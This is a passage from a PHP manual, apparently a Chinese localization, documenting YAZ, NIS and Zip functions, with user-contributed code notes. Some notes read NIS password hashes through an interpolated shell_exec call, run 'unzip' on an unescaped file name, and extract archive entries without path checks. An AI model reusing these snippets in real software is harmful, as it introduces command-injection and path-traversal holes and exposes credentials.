$res = preg_replace("'</?html[^>]*>'", '', $res);
echo $res;

?>

For PHP 5 the XSL extension must be used instead of Sablotron XSLT.

add a note add a note User Contributed Notes
j dot penez at archimed dot fr
02-Oct-2003 07:19
To obtain iso2709 format (complete format), just set type to "raw"
add a note add a note

后退 | 起点 | 前进
yaz_range | 上一级 | yaz_scan_result


yaz_scan_result

(PHP 4 >= 4.0.5, PECL)

yaz_scan_result -- Returns Scan Response result

说明

array yaz_scan_result ( resource id [, array &result] )

yaz_scan_result() returns terms and associated information as received from the server in the last performed yaz_scan().

参数

id

The connection resource returned by yaz_connect().

result

If given, this array will be modified to hold additional information taken from the Scan Response:

  • number - Number of entries returned

  • stepsize - Step size

  • position - Position of term

  • status - Scan status

返回值

Returns an array (0..n-1) where n is the number of terms returned. Each value is a pair where the first item is the term, and the second item is the result-count.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_record | 上一级 | yaz_scan


yaz_scan

(PHP 4 >= 4.0.5, PECL)

yaz_scan -- Prepares for a scan

说明

void yaz_scan ( resource id, string type, string startterm [, array flags] )

This function prepares for a Z39.50 Scan Request on the specified connection.

To actually transfer the Scan Request to the server and receive the Scan Response, yaz_wait() must be called. Upon completion of yaz_wait() call yaz_error() and yaz_scan_result() to handle the response.

参数

id

The connection resource returned by yaz_connect().

type

Currently only type rpn is supported.

startterm

Starting term point for the scan.

The form in which the starting term is specified is given by parameter type.

The syntax this parameter is similar to the RPN query as described in yaz_search(). It consists of zero or more @attr-operator specifications, then followed by exactly one token.

flags

This optional parameter specifies additional information to control the behaviour of the scan request. Three indexes are currently read from the flags array: number (number of terms requested), position (preferred position of term) and stepSize (preferred step size).

返回值

无返回值。

范例

例子 1. PHP function that scans titles

<?php
function scan_titles($id, $startterm)
{
  yaz_scan($id, "rpn", "@attr 1=4 " . $startterm);
  yaz_wait();
  $errno = yaz_errno($id);
  if ($errno == 0) {
    $ar = yaz_scan_result($id, &$options);
    echo 'Scan ok; ';
    foreach ($options as $key => $val) {
      echo "$key = $val &nbsp;";
    }
    echo '<br /><table>';
    while (list($key, list($k, $term, $tcount)) = each($ar)) {
      if (empty($k)) continue;
      echo "<tr><td>$term</td><td>$tcount</td></tr>";
    }
    echo '</table>';
  } else {
    echo "Scan failed. Error: " . yaz_error($id) . "<br />";
  }
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_scan_result | 上一级 | yaz_schema


yaz_schema

(PHP 4 >= 4.2.0, PECL)

yaz_schema -- Specifies schema for retrieval

说明

void yaz_schema ( resource id, string schema )

yaz_schema() specifies the schema for retrieval.

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

schema

Must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.13.4) or as one of the known registered schemas: GILS-schema, Holdings, Zthes, ...

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_scan | 上一级 | yaz_search


yaz_search

(PHP 4 >= 4.0.1, PECL)

yaz_search -- Prepares for a search

说明

bool yaz_search ( resource id, string type, string query )

yaz_search() prepares for a search on the given connection.

Like yaz_connect() this function is non-blocking and only prepares for a search to be executed later when yaz_wait() is called.

参数

id

The connection resource returned by yaz_connect().

type

This parameter represents the query type - only "rpn" is supported now in which case the third argument specifies a Type-1 query in prefix query notation.

query

The RPN query is a textual representation of the Type-1 query as defined by the Z39.50 standard. However, in the text representation as used by YAZ a prefix notation is used, that is the operator precedes the operands. The query string is a sequence of tokens where white space is ignored unless surrounded by double quotes. Tokens beginning with an at-character (@) are considered operators, otherwise they are treated as search terms.

表格 1. RPN Operators

Construct | Description
@and query1 query2 | intersection of query1 and query2
@or query1 query2 | union of query1 and query2
@not query1 query2 | query1 and not query2
@set name | result set reference
@attrset set query | specifies attribute-set for query. This construction is only allowed once - in the beginning of the whole query
@attr [set] type=value query | applies attribute to query. The type and value are integers specifying the attribute-type and attribute-value respectively. The set, if given, specifies the attribute-set.

You can find information about attributes at the Z39.50 Maintenance Agency site.

注: If you would like to use a more friendly notation, use the CCL parser - functions yaz_ccl_conf() and yaz_ccl_parse().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Query Examples

You can search for simple terms, like this:
computer
which matches documents where "computer" occur. No attributes are specified.

The query
"knuth donald"
matches documents where "knuth donald" occur (provided that the server supports phrase search).

This query applies two attributes for the same phrase.
@attr 1=1003 @attr 4=1 "knuth donald"
First attribute is type 1 (Bib-1 use), attribute value is 1003 (Author). Second attribute has is type 4 (structure), value 1 (phrase), so this should match documents where Donald Knuth is author.

The query
@and @or a b @not @or c d e
would in infix notation look like (a or b) and ((c or d) not e).

Another, more complex, one:
@attrset gils @and @attr 1=4 art @attr 1=2000 company
The query as a whole uses the GILS attributeset. The query matches documents where art occur in the title (GILS,BIB-1) and in which company occur as Distributor (GILS).

add a note add a note User Contributed Notes
jwohlers at mail dot wcc dot cc dot il dot us
01-Feb-2002 09:21
Quick Reference For Attribute Fields
(eg: "@attr 2=" refers to the Relation attribute)
1 = Use Field
2 = Relation
3 = Position
4 = Structure
5 = Truncate
6 = Completeness
add a note add a note

后退 | 起点 | 前进
yaz_schema | 上一级 | yaz_set_option


yaz_set_option

(PECL)

yaz_set_option -- Sets one or more options for connection

说明

void yaz_set_option ( resource id, string name, string value )

void yaz_set_option ( resource id, array options )

Sets one or more options on the given connection.

参数

id

The connection resource returned by yaz_connect().

name or options

May be either a string or an array.

If given as a string, this will be the name of the option to set. You'll need to give it's value.

If given as an array, this will be an associative array (option name => option value).

表格 1. PHP/YAZ Connection Options

Name | Description
implementationName | implementation name of server
implementationVersion | implementation version of server
implementationId | implementation ID of server
schema | schema for retrieval. By default, no schema is used. Setting this option is equivalent to using function yaz_schema()
preferredRecordSyntax | record syntax for retrieval. By default, no syntax is used. Setting this option is equivalent to using function yaz_syntax()
start | offset for first record to be retrieved via yaz_search() or yaz_present(). First record is numbered has a start value of 0. Second record has start value 1. Setting this option in combination with option count has the same effect as calling yaz_range() except that records are numbered from 1 in yaz_range()
count | maximum number of records to be retrieved via yaz_search() or yaz_present().
elementSetName | element-set-name for retrieval. Setting this option is equivalent to calling yaz_element().
value

The new value of the option. Use this only if the previous argument is a string.

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_search | 上一级 | yaz_sort


yaz_sort

(PHP 4 >= 4.1.0, PECL)

yaz_sort -- Sets sorting criteria

说明

void yaz_sort ( resource id, string criteria )

This function sets sorting criteria and enables Z39.50 Sort.

Call this function before yaz_search(). Using this function alone does not have any effect. When used in conjunction with yaz_search(), a Z39.50 Sort will be sent after a search response has been received and before any records are retrieved with Z39.50 Present (yaz_present().

参数

id

The connection resource returned by yaz_connect().

criteria

A string that takes the form field1 flags1 field2 flags2 where field1 specifies the primary attributes for sort, field2 seconds, etc..

The field specifies either a numerical attribute combinations consisting of type=value pairs separated by comma (e.g. 1=4,2=1) ; or the field may specify a plain string criteria (e.g. title. The flags is a sequence of the following characters which may not be separated by any white space.

Sort Flags

a

Sort ascending

d

Sort descending

i

Case insensitive sorting

s

Case sensitive sorting

返回值

无返回值。

范例

例子 1. Sort Criterias

To sort on Bib1 attribute title, case insensitive, and ascending you would use the following sort criteria:
1=4 ia

If the secondary sorting criteria should be author, case sensitive and ascending you would use:
1=4 ia 1=1003 sa

add a note add a note User Contributed Notes
peter at NOSPAMimtc dot gatech dot edu
26-Aug-2004 11:37
This information is located in several places in the documentation, but takes awhile to find.

yaz_sort() only works for fields that have an associated sort register.  Failure to link a sort register will generate the error "Cannot sort according to sequence".

The sort register is created in the default.idx file and referenced in the *.abs file.  This is the sort register setting in default.idx:

...
# Sort register (no mapping at all)
sort s
completeness 1
charmap string.chr
...

In the above code the "s" register is setup as the sort register.  Charmap string.chr defines the string conversion for diacritics.

This is the reference to the sort index in the *abs file:

...
elm (2,1)                  title                      !:w,!:p,!:s
...

In the above line the "!:s" causes a sort register to be created for the field.

Once the above changes have been made, reindex all the source records and restart the server.  Check for a "sort<fieldid>-0.mf" file in the zebra data directory to verify operation.  yaz_sort() should now work properly.
add a note add a note

后退 | 起点 | 前进
yaz_set_option | 上一级 | yaz_syntax


yaz_syntax

(PHP 4 >= 4.0.1, PECL)

yaz_syntax -- Specifies the preferred record syntax for retrieval

说明

void yaz_syntax ( resource id, string syntax )

yaz_syntax() specifies the preferred record syntax for retrieval

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

syntax

The syntax must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.5.10) or as one of the known registered record syntaxes (sutrs, usmarc, grs1, xml, etc.).

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_sort | 上一级 | yaz_wait


yaz_wait

(PHP 4 >= 4.0.1, PECL)

yaz_wait -- Wait for Z39.50 requests to complete

说明

mixed yaz_wait ( [array &options] )

This function carries out networked (blocked) activity for outstanding
requests which have been prepared by the functions
yaz_connect(), yaz_search(),
yaz_present(), yaz_scan() and
yaz_itemorder().

yaz_wait() returns when all servers have either completed all requests or aborted (in case of errors).

参数

options

An associative array of options:

timeout

Sets timeout in seconds. If a server has not responded within the timeout it is considered dead and yaz_wait() returns. The default value for timeout is 15 seconds.

event

A boolean.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。 In event mode, returns resource or FALSE in case of an error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_syntax | 上一级 | YP/NIS Functions


YP/NIS Functions

PHP 手册
后退 前进

CLXII. YP/NIS Functions

简介

NIS (formerly called Yellow Pages) allows network management of important administrative files (e.g. the password file). For more information refer to the NIS manpage and The Linux NIS(YP)/NYS/NIS+ HOWTO. There is also a book called Managing NFS and NIS by Hal Stern.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

需求

None besides functions from standard Unix libraries which are always available (either libc or libnsl, configure will detect which one to use).

安装

To get these functions to work, you have to configure PHP with --enable-yp.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

YPERR_BADARGS (integer)

YPERR_BADDB (integer)

YPERR_BUSY (integer)

YPERR_DOMAIN (integer)

YPERR_KEY (integer)

YPERR_MAP (integer)

YPERR_NODOM (integer)

YPERR_NOMORE (integer)

YPERR_PMAP (integer)

YPERR_RESRC (integer)

YPERR_RPC (integer)

YPERR_YPBIND (integer)

YPERR_YPERR (integer)

YPERR_YPSERV (integer)

YPERR_VERS (integer)

目录
yp_all -- Traverse the map and call a function on each entry
yp_cat -- Return an array containing the entire map
yp_err_string -- Returns the error string associated with the given error code
yp_errno -- Returns the error code of the previous operation
yp_first -- Returns the first key-value pair from the named map
yp_get_default_domain -- Fetches the machine's default NIS domain
yp_master -- Returns the machine name of the master NIS server for a map
yp_match -- Returns the matched line
yp_next -- Returns the next key-value pair in the named map
yp_order -- Returns the order number for a map

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_wait | 上一级 | yp_all


yp_all

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

yp_all -- Traverse the map and call a function on each entry

Description

void yp_all ( string domain, string map, string callback )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
YP/NIS Functions | 上一级 | yp_cat


yp_cat

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

yp_cat -- Return an array containing the entire map

Description

array yp_cat ( string domain, string map )

yp_cat() returns all map entries as an array with the maps key values as array indices and the maps entries as array data.

add a note add a note User Contributed Notes
20-Feb-2006 07:26
I hope this will userfull to somebody:

function auth_by_nis($login,$password,$nis_domain='-d xxx_nis',$nis_host='-h xxx.it')
{
   $output = shell_exec("ypcat $nis_domain $nis_host passwd");
   $lines=split("\n",$output);
   foreach ($lines as $k=>$v)
   {
       list($login_nis,$pw_nis)=split(":",$v);
       if ($login_nis != $login)continue;
       //login trovata: ora si verifica la password
       $salt=substr( $pw_nis , 0 ,2);
       $pass_cript=crypt($password, $salt);
       if($pass_cript == $pw_nis) return 1;
       else return 0;
   }
   return 0;
}
smchang at math dot inha dot ac dot kr
21-Dec-2002 10:12
result browsing code
<?php
$arraylist = yp_cat($domain,"passwd.byname");
$key = array_keys($arraylist);
$count = count($key);
for ( $i = 0; $i < $count ; $i++ ) {
       echo "COUNT $i  ->  ";
       echo $arraylist[$key[$i]];
       echo "<BR>\n";
}
?>
RESULT( Only First line )
COUNT 0 -> testuser:3jYXqr8fRm28M:500:500:PHP Test user:/home/testuser:/bin/csh

It, is in $key, is username(in example, testuser).
add a note add a note

后退 | 起点 | 前进
yp_all | 上一级 | yp_err_string


yp_err_string

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

yp_err_string -- Returns the error string associated with the given error code

Description

string yp_err_string ( int errorcode )

yp_err_string() returns the error message associated with the given error code. Useful to indicate what exactly went wrong.

例子 1. Example for NIS errors

<?php
    echo "Error: " . yp_err_string(yp_errno());
?>

See also yp_errno().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_cat | 上一级 | yp_errno


yp_errno

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

yp_errno -- Returns the error code of the previous operation

Description

int yp_errno ( void )

yp_errno() returns the error code of the previous operation.

Possible errors are:

1 args to function are bad
2 RPC failure - domain has been unbound
3 can't bind to server on this domain
4 no such map in server's domain
5 no such key in map
6 internal yp server or client error
7 resource allocation failure
8 no more records in map database
9 can't communicate with portmapper
10 can't communicate with ypbind
11 can't communicate with ypserv
12 local domain name not set
13 yp database is bad
14 yp version mismatch
15 access violation
16 database busy

See also yp_err_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_err_string | 上一级 | yp_first


yp_first

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_first -- Returns the first key-value pair from the named map

Description

array yp_first ( string domain, string map )

yp_first() returns the first key-value pair from the named map in the named domain, otherwise FALSE.

例子 1. Example for the NIS first

<?php
$entry = yp_first($domain, "passwd.byname");

$key = key($entry);
$value = $entry[$key];

echo "First entry in this map has key " . $key . " and value " . $value;
?>

See also yp_next() and yp_get_default_domain().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_errno | 上一级 | yp_get_default_domain


yp_get_default_domain

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_get_default_domain -- Fetches the machine's default NIS domain

Description

string yp_get_default_domain ( void )

yp_get_default_domain() returns the default domain of the node or FALSE. Can be used as the domain parameter for successive NIS calls.

A NIS domain can be described a group of NIS maps. Every host that needs to look up information binds itself to a certain domain. Refer to the documents mentioned at the beginning for more detailed information.

例子 1. Example for the default domain

<?php
$domain = yp_get_default_domain();
echo "Default NIS domain is: " . $domain;
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_first | 上一级 | yp_master


yp_master

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_master -- Returns the machine name of the master NIS server for a map

Description

string yp_master ( string domain, string map )

yp_master() returns the machine name of the master NIS server for a map.

例子 1. Example for the NIS master

<?php
$number = yp_master($domain, $mapname);
echo "Master for this map is: " . $master;
?>

See also yp_get_default_domain().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_get_default_domain | 上一级 | yp_match


yp_match

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_match -- Returns the matched line

Description

string yp_match ( string domain, string map, string key )

yp_match() returns the value associated with the passed key out of the specified map or FALSE. This key must be exact.

例子 1. Example for NIS match

<?php
$entry = yp_match($domain, "passwd.byname", "joe");
echo "Matched entry is: " . $entry;
?>

The above code will produce :

joe:##joe:11111:100:Joe User:/home/j/joe:/usr/local/bin/bash

See also yp_get_default_domain().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_master | 上一级 | yp_next


yp_next

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_next -- Returns the next key-value pair in the named map

Description

array yp_next ( string domain, string map, string key )

yp_next() returns the next key-value pair in the named map after the specified key or FALSE.

例子 1. Example for NIS next

<?php
$entry = yp_next($domain, "passwd.byname", "joe");

if (!$entry) {
    echo "No more entries found\n";
    echo "<!--" . yp_errno() . ": " . yp_err_string() . "-->";
}

$key = key($entry);

echo "The next entry after joe has key " . $key
      . " and value " . $entry[$key];
?>

See also yp_first() and yp_get_default_domain().

add a note add a note User Contributed Notes
russell dot brown at insignia dot nospam dot com
04-Jul-2001 11:45
If you combine yp_first and yp_next you can get the whole list:
function yp_list($domain, $map) {
   $entry = yp_first($domain, $map);
   $key = $entry ["key"];
   $yplist[$key] = $entry ["value"];

   while ($entry) {
     $entry = yp_next($domain, $map, $key);
     if ($entry) {
         $nextkey = key ($entry);
         $yplist[$nextkey] = $entry[$nextkey];
         $key = $nextkey;
     }
   }
   return $yplist;
}
add a note add a note

后退 | 起点 | 前进
yp_match | 上一级 | yp_order


yp_order

(PHP 3 >= 3.0.7, PHP 4, PHP 5 <= 5.0.4)

yp_order -- Returns the order number for a map

Description

int yp_order ( string domain, string map )

yp_order() returns the order number for a map or FALSE.

例子 1. Example for the NIS order

<?php
    $number = yp_order($domain, $mapname);
    echo "Order number for this map is: " . $number;
?>

See also yp_get_default_domain().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yp_next | 上一级 | Zip File Functions (Read Only Access)


Zip File Functions (Read Only Access)

PHP 手册
后退 前进

CLXIII. Zip File Functions (Read Only Access)

简介

This module enables you to transparently read ZIP compressed archives and the files inside them.

需求

This module uses the functions of the ZZIPlib library by Guido Draheim. You need ZZIPlib version >= 0.10.6.

Note that ZZIPlib only provides a subset of functions provided in a full implementation of the ZIP compression algorithm and can only read ZIP file archives. A normal ZIP utility is needed to create the ZIP file archives read by this library.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/zip.

在 PHP 4 中本 PECL 扩展的源程序位于 PHP 源程序中的 ext/ 目录下或者在上面的 PECL 连接中。 In order to use these functions you must compile PHP with zip support by using the --with-zip[=DIR] configure option.

Windows users will enable php_zip.dll inside of php.ini in order to use these functions. 在 PHP 4 中本 DLL 位于 PHP Windows 执行包中的 extensions/ 目录下。 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

注: Zip support before PHP 4.1.0 is experimental. This section reflects the Zip extension as it exists in PHP 4.1.0 and later.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

This example opens a ZIP file archive, reads each file in the archive and prints out its contents. The test2.zip archive used in this example is one of the test archives in the ZZIPlib source distribution.

例子 1. Zip Usage Example

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {

    while ($zip_entry = zip_read($zip)) {
        echo "Name:               " . zip_entry_name($zip_entry) . "\n";
        echo "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
        echo "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
        echo "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";

        if (zip_entry_open($zip, $zip_entry, "r")) {
            echo "File Contents:\n";
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            echo "$buf\n";

            zip_entry_close($zip_entry);
        }
        echo "\n";

    }

    zip_close($zip);

}

?>
目录
zip_close -- Close a ZIP file archive
zip_entry_close -- Close a directory entry
zip_entry_compressedsize -- Retrieve the compressed size of a directory entry
zip_entry_compressionmethod -- Retrieve the compression method of a directory entry
zip_entry_filesize -- Retrieve the actual file size of a directory entry
zip_entry_name -- Retrieve the name of a directory entry
zip_entry_open -- Open a directory entry for reading
zip_entry_read -- Read from an open directory entry
zip_open -- Open a ZIP file archive
zip_read -- Read next entry in a ZIP file archive

add a note add a note User Contributed Notes
nospam at hostingfanatic dot com
12-May-2006 01:27
I needed a quick way to make a zip file from an entire directory including subdirectories. This is downright rough but if someone would fancy it up a bit it works good with the zip class at http://smiledsoft.com/demos/phpzip/ (free version).

Basic use in script would be...

make_archive("the/directory", $zip_archive_object);

<?php
function make_archive( $dir , &$zip, $extdir="")
{
       if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                       if( $file != "." && $file != ".." )
                       {
                               if( is_dir( $dir . $file ) )
                               {

                                           $zip->add_file($dir.$file,$extdir.$file);

                                           make_archive($dir.$file."/" , $zip, $extdir.$file."/");

                               }
                               else
                               {

                                           $zip->add_file($dir.$file,$extdir.$file);
                               }
                       }
               }
               closedir($dh);
           }
       }
return true;
}
?>
10-May-2006 10:23
I try to use the function unpackZip from schore at NOSPAM dot hotmail dot com.

it appears that the fclose instruction is missing. Without that instruction, i've got some trouble to unpack zip file with recursive folders.

Here is the new code with the missing instruction
<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w");
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}
?>
angelnsn1 at hotmail dot com
27-Jan-2006 10:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

           mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

           while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                 $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                 $dir_name = dirname(zip_entry_name($zip_entry));
                 $name = zip_entry_name($zip_entry);

                 if ($name[strlen($name)-1] == '/') {

                       $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                       $base .= "$k/";

                       if (!file_exists($base))
                           mkdir($base);

                     }

                 }
                 else {

                     $name = "$dir_path/$name";

                     if ($verbose)
                       echo "extracting: $name<br>";

                   $stream = fopen($name, "w");
                   fwrite($stream, $data);

                 }

                 zip_entry_close($zip_entry);

               }
               else
                 $ERROR = 4;

             }

             zip_close($link);

           }
           else
             $ERROR = "3";
       }
       else
         $ERROR = 2;
   }
   else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}

---

example:

$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;

---

i hope this help you,
good bye.
ringu at mail dot ru
20-Aug-2005 09:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

function zipx_entries_exists()
{
   $names=array();
   $args=func_get_args();
   $far_size=count($args);
   if($args[0])
       {
           for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
           for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
           return $t==--$far_size;
       }else{
             return 'No zip file in descriptor!';
       }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
   $names=array();
   $args=func_get_args();
   $m=NULL;
   $far_size=count($args);
   if($args[0])
       {
           for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
           for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
           return trim($m, $args[1]);
       }else{
             return 'No zip file in descriptor!';
       }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom
28-Jun-2005 12:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br
27-Apr-2005 11:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
   $dir .= DIRECTORY_SEPARATOR;
   $path_file = $dir . $file;
   $zip = zip_open($path_file);
   $_tmp = array();
   $count=0;
   if ($zip)
   {
       while ($zip_entry = zip_read($zip))
       {
           $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
           $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
           $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
           $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
           $_tmp[$count]["mtime"] = "";
           $_tmp[$count]["comment"] = "";
           $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
           $_tmp[$count]["index"] = $count;
           $_tmp[$count]["status"] = "ok";
           $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

           if (zip_entry_open($zip, $zip_entry, "r"))
           {
               $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
               if($destiny)
               {
                   $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
               }
               else
               {
                   $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
               }
               $new_dir = dirname($path_file);

               // Create Recursive Directory
               mkdirr($new_dir);

               $fp = fopen($dir . zip_entry_name($zip_entry), "w");
               fwrite($fp, $buf);
               fclose($fp);

               zip_entry_close($zip_entry);
           }
           echo "\n</pre>";
           $count++;
       }

       zip_close($zip);
   }
}
Unzip($dir,$file);
Nahaylo Vitalik
25-Feb-2005 10:52
Zip Class from Devin Doucette at phpclasses.org
Allows the creation of tar, gzip, bzip2, and zip archives, and the extraction of tar, gzip, and bzip2.
Supports relative paths/no paths, comments, and recursing through subdirectories.
Can write file to disk, allow user to download directly, or return file contents in a string or an array.
Does not require any external programs to run.
Here is a link: http://www.phpclasses.org/browse/package/945.html
23-Feb-2005 12:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
Mishania AT ketsujin DOT COM
07-Jan-2005 12:19
I slightly changed the extension of Schore that makes function operate more effiecently - less number of itterations. This is most important in dealing with HUGE archives.  I also add comment to brief the code.  Fits for WIN users.
function unzip($dir,$file) {
  $zip = zip_open($dir.$file.".zip"))
  if ($zip) {
   mkdir($dir.$file);
   while ($zip_entry = zip_read($zip)) {
     if (zip_entry_open($zip,$zip_entry,"r")) {
       $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
       $hostDir = dirname(zip_entry_name($zip_entry));

             /*  for root "." directory nothing to be done coase root directory was
                 created before the while-loop statement */
       if ($hostDir != ".") {
         $absPathToHostDir = $dir.$file."\\";

             /* Convrerts path string upon to FMS & OS-WIN configuration */
         foreach ( explode("/",$hostDir) as $k)
           $absPathToHostDir = $absPathToHostDir . $k . "\\";
         $absPathToHostDir = substr($absPathToHostDir,0,-1);

         if (is_file($absPathToHostDir))
           unlink($absPathToHostDir);

         if (!is_dir($absPathToHostDir))
           mkdir($absPathToHostDir);

             /* Stores Archive entries BOTH as file: Directories & Files;
                 for this porpose we need these 2 hereabove [IF] checks  */
         $fp=fopen($dir.$file."\\".zip_entry_name($zip_entry),"w");
         fwrite($fp,$buf);
         fclose($fp);
         zip_entry_close($zip_entry);
       }
     }
     else  {
         echo "unable open - ";
         return false;
     }
   }  // while-loop end

   zip_close($zip);
  }
  else
     return false;

  return true;
}
schore at NOSPAM dot hotmail dot com
14-Dec-2004 02:55
I have had problems with the function of kristiankjaer to unpack zipfiles within any directories.
So I wrote a little extension.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
